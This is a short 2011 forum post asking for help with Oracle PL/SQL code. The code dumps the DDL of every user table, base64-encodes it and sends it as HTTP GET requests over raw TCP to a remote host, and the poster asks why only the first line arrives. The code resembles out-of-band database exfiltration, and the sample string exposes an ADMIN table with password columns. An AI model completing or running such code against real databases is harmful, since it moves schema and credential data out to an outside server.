Hello, i have a problem with base64 encode in cursor,please help me
i want to convert value to base64() and request to my server but i don't know why it only request first line in base 64 string
example : i have base 64 string
IgogIENSRUFURSBUQUJMRSAiQVBQUyIuIkFETUlOIiAKICAgKAkiVVNFUk5BTUUi
IE5WQVJDSEFSMig1MCksIAoJIlBBU1NXT1JEIiBWQVJDSEFSMig1MCkKICAgKSBQ
Q1RGUkVFIDEwIFBDVFVTRUQgNDAgSU5JVFJBTlMgMSBNQVhUUkFOUyAyNTUgTk9D
T01QUkVTUyBMT0dHSU5HCiAgU1RPUkFHRShJTklUSUFMIDY1NTM2IE5FWFQgMTA0
ODU3NiBNSU5FWFRFTlRTIDEgTUFYRVhURU5UUyAyMTQ3NDgzNjQ1CiAgUENUSU5D
UkVBU0UgMCBGUkVFTElTVFMgMSBGUkVFTElTVCBHUk9VUFMgMSBCVUZGRVJfUE9P
TCBERUZBVUxUKQogIFRBQkxFU1BBQ0UgIlVTRVJTIiAKICI=
it only request string
IgogIENSRUFURSBUQUJMRSAiQVBQUyIuIkFETUlOIiAKICAgKAkiVVNFUk5BTUUi
in access log show reult :
GET hihihihi.php?IgogIENSRUFURSBUQUJMRSAiQVBQUyIuIkFETUlOIiAKICAgKAkiVVNFUk5BTUUi
and this's my code
declare
cursor cs3 is SELECT DBMS_METADATA.GET_DDL('TABLE',TABLE_NAME) structure FROM user_tables ;
--cursor cs3 is SELECT dis FROM test ;
v_sql varchar2 (32767);
con utl_tcp.connection;
retval PLS_INTEGER;
bien clob;
begin
for w in cs3
loop
--bien:=bien||w.structure||'+';
-- bien:=bien||''||w.structure||''||'+';
con := utl_tcp.open_connection(remote_host => '192.168.1.12', remote_port => 80);
bien:=utl_raw.cast_to_varchar2(utl_encode.base64_encode(utl_raw.cast_to_raw(w.structure)));
retval := utl_tcp.write_line(con, 'GET hihihihi.php?'||bien);
utl_tcp.close_connection(con);
end loop;
end;
Thank
Edited by: kenshin19xx on Dec 30, 2011 11:38 PM
Edited by: kenshin19xx on Dec 30, 2011 11:41 PM